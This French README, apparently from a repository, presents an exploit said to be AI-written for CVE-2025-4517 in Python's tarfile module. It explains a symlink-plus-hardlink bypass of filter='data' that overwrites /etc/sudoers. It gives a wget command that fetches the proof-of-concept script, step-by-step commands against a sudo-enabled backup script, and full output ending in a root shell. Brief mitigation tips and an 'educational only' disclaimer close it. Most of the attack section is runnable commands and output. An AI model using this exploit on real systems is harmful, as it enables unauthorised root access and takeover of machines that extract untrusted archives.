
Script d'élévation de privilèges pour CVE-2025-4517
Cet exploit et la description sont rédigés par IA. Si vous trouvez une erreur ou un problème, merci de me le faire savoir ! Cet exploit a été testé et confirmé fonctionnel. Merci !
Cet exploit exploite CVE-2025-4517, une vulnérabilité critique dans le module tarfile de Python qui permet l'écriture arbitraire de fichiers par une combinaison de traversée de chemin par lien symbolique et de manipulation de liens physiques. Cela contourne la protection filter="data" introduite dans Python 3.12.
La vulnérabilité exploite une faille dans la manière dont tarfile.extractall() de Python gère l'interaction entre :
filter="data" bloque les échappements directs par lien symbolique, mais la technique de lien physique contourne cette protection1. Create deep nested directories (path confusion)
└─ Uses 247-character directory names repeated 16 levels deep
2. Build symlink chain for traversal
└─ Creates symlinks that resolve upward through directory tree
3. Escape symlink to target directory (/etc)
└─ Final symlink points outside extraction boundary
4. Create hardlink pointing through escape symlink
└─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Write content to hardlink
└─ Writing to "sudoers_link" actually writes to /etc/sudoers
Script : /opt/backup_clients/restore_backup_clients.py
# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Permissions Sudo :
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system
# Run the exploit
./exploit.py
# Or with Python
python3 exploit.py
Si vous préférez exécuter chaque étape manuellement :
# 1. Create the exploit tar
python3 exploit.py --create-only
# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Get root
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================
[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers python3 --version # Check version
# Check for suspicious members before extraction
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Symlinks/hardlinks not allowed")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Path traversal detected")
# Remove or restrict backup script sudo access
visudo
# Check tar contents before extraction
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers # Setup AIDE or similar IDS
aide --check
Cet exploit est fourni à des fins éducatives uniquement et est destiné à être utilisé dans :
Le(s) auteur(s) décline(nt) toute responsabilité en cas d'utilisation abusive de ce code.
Recherche originale : Plusieurs chercheurs en sécurité (voir Références)
Licence MIT - Voir le fichier LICENSE pour plus de détails
Dernière mise à jour : Mars 2026